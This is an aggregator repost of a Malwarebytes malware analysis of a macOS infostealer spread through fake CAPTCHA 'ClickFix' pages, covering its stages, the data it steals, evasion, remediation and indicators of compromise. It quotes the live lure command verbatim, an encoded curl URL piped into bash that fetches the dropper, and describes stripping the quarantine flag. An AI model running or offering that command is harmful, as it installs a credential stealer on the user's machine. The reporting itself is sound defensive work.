Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Malwarebytes Labs

Infiniti Stealer: a new macOS infostealer using ClickFix and Python/Nuitka

  • What: New macOS infostealer named Infiniti Stealer uses ClickFix and Python/Nuitka
  • Impact: Mac users may be targeted through social engineering
Read Full Article →

A previously undocumented macOS infostealer has surfaced during our routine threat hunting. We initially tracked it as NukeChain , but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer. This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks users into running a command themselves: a technique known as ClickFix . Instead of exploiting a bug, it relies on social engineering. The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware. To our knowledge, this is the first documented macOS campaign combining ClickFix delivery with a Nuitka-compiled Python stealer. ClickFix: social engineering instead of exploits ClickFix doesn’t rely on software vulnerabilities. Instead, it relies on convincing the user to run a command themselves. A fake verification page instructs the visitor to open Terminal, paste a command, and press Return. Once executed, the infection process begins immediately. The technique gained popularity on Windows systems, but it’s now being adapted for macOS, with the instructions tailored to the platform: Command + Space > open Terminal > paste the command Because the user runs the command directly, many traditional defenses are bypassed. There’s no exploit, no malicious attachment, and no drive‑by download. Fake CAPTCHA Delivery The infection begins at update-check[.]com , which serves a convincing replica of a Cloudflare human verification page. The page instructs the user to paste a verification command into Terminal: bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode)) Once decoded, the string resolves to a URL hosted on the same domain that returns the first stage dropper script. Stage 1: Bash Dropper The first payload is a Bash script using a template previously observed in macOS stealers such as MacSync (also referenced as SHub in earlier research). This suggests the use of a shared builder. Its responsibilities are straightforward: Decode the embedded payload Write the Stage‑2 binary to /tmp Remove the quarantine flag using xattr -dr com.apple.quarantine Execute the binary via nohup Pass the command-and-control (C2) server and authentication token as environment variables Delete itself and close Terminal via AppleScript Stage 2: Nuitka Loader The dropped binary is an Apple Silicon Mach-O executable (~8.6 MB). compiled using Nuitka’s onefile mode. Its header contains the signature: 4b 41 59 28 b5 2f fd This corresponds to a KAY ( header followed by a zstd-compressed archive used by Nuitka to package Python applications. Unlike PyInstaller, Nuitka compiles Python source into C and produces a native binary, increasing the complexity of static analysis. At runtime the loader decompresses roughly 35 MB of embedded data and launches the final payload. Stage 3: Python Stealer Payload The final payload, UpdateHelper[.]bin , is a Python 3.11 stealer compiled with Nuitka. Despite compilation, the binary exposes thousands of named symbols, allowing its module structure to be reconstructed during analysis. The stealer targets a wide range of sensitive data: Credentials from Chromium‑based browsers and Firefox macOS Keychain entries Cryptocurrency wallets Plaintext secrets in developer files such as .env Screenshots captured during execution Data is exfiltrated using HTTP POST requests. Before beginning data collection, the malware checks whether it is running inside known analysis environments, including: any.run Joe Sandbox Hybrid Analysis VMware VirtualBox In also introduces a randomized execution delay to evade automated analysis systems. When exfiltration completes, a function named upload_complete() sends a Telegram notification to the operator and queues captured credentials for server‑side password cracking. What to do if you think you’ve been affected The perception that macOS is a low‑risk malware target continues to fade. Infiniti Stealer shows how techniques that worked on Windows—like ClickFix—are now being adapted to target Mac users. It also uses newer techniques, like compiling Python into native apps, which makes the malware harder to detect and analyze. If this approach proves effective, we may see more attacks like this. If you followed instructions like this or pasted commands into Terminal from a website, take action right away: Stop using the device for sensitive activity (banking, email, work accounts). Change your passwords on a clean device , starting with email, banking, and Apple ID. Revoke access: log out of active sessions, and revoke API tokens and SSH keys Check for suspicious files in /tmp and ~/Library/LaunchAgents/ Run a full Malwarebytes scan to detect and remove any remaining malware. Remember: Do not paste commands into Terminal from websites. No legitimate CAPTCHA requires this. Indicators of Compromise (IOCs) Type Value MD5 dropper da73e42d1f9746065f061a6e85e28f0c SHA256 Stage-3 1e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958 C2 domain update-check[.]com C2 URL https://update-check[.]com/m/7d8df27d95d9 C2 Panel Infiniti-stealer[.]com Packer magic 4b 41 59 28 b5 2f fd (KAY + zstd) Debug log /tmp/.bs_debug.log Temp path /tmp/.2835b1b5098587a9XXXXXX (fixed prefix, random suffix) Acknowledgements With thanks to Marcelo Rivero for the binary analysis. We don’t just report on threats—we remove them Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today .

Share this article